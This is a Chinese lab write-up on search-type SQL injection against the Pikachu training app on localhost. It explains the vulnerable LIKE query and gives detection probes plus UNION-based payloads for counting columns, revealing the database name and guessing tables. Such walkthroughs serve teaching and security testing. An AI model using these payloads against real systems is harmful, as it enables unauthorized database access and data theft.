pikachu-搜索型注入 #手工注入
2024-10-08 12:38:10
1.搜索型注入漏洞产生的原因:
在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
2.搜索型注入的类型:
同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。
3.原理分析:
select username,id,email from member where username like '%$name%'
这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了
select username,id,email from member where username like '%$name'and 1=1 and '%'='%'
就存在了SQL注入。
4.搜索型注入的判断方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了
下面方法也可以测试
'and 1=1 and '%'=' %' and 1=1--' %' and 1=1 and '%'='
实例讲解:
源码:
一,猜字段
可判断有三个字段
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=æç´¢
二,爆字段
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=æç´¢
三,爆库
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=æç´¢
四,爆表
五,爆列
六,爆字段内容
其他方式
(1)猜字段数
可以判断字段数为 3
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜索 #报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜索 #不报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜索 #报错
(2)猜表
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜索
更换users,不报错就证明数据库中含有这个表
最新文章
- 当类型为dynamic的视图模型遭遇匿名对象
- python 面向对象-笔记
- 调用pyxmpp库PyQt编程打包成exe文件出错
- 【JAVA、C++】LeetCode 014 Longest Common Prefix
- selenium定位失败记录
- 数据库索引<;二>; 补充前篇 (上一篇抽风了,这个补上)
- [hadoop] WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
- 数据库(学习整理)----4--Oracle数据查询(基础点1)
- Python3.5环境下安装wxPtyhon
- asp.net SignalR 一对一聊天
- Mac OS 终端常用命令基础
- SpringBoot系列——利用系统环境变量与配置文件的分支选择实现“智能部署”
- Django rest framework源码分析(1)----认证
- Newtonsoft.Json(Json.net) 的使用
- ipv4转化为ipv6
- PCL_common模块api代码解析
- Android 利用属ObjectAnimator,AnimatorSet性动画绘制一个弹球,加速下落,到底部时挤压,然后减速上弹
- win10屏幕变灰怎么解决?
- Scala语言学习
- C++ CSTRINGLIST用法
热门文章
- 第三十篇 玩转数据结构——字典树(Trie)
- 什么是nuget?nuget包是如何管理
- 用apscheduler写python定时脚本
- 深浅拷贝_python
- Wordpress里提示警告信息creating default object from empty value in *** 的解决方法
- 画图软件gliffy
- mybatis报错:A query was run and no Result Maps were found for the Mapped Statement、、Property [login_ip] not found on type [com.thinkgem.jeesite.common.permission.entity.PremissUser]问题解决
- [AST Babel] Add function name into the console log &#39;path.findParent(t.isFunctionDeclaration)&#39;
- MyBatis(3)——配置解析
- bugku 你必须让他停下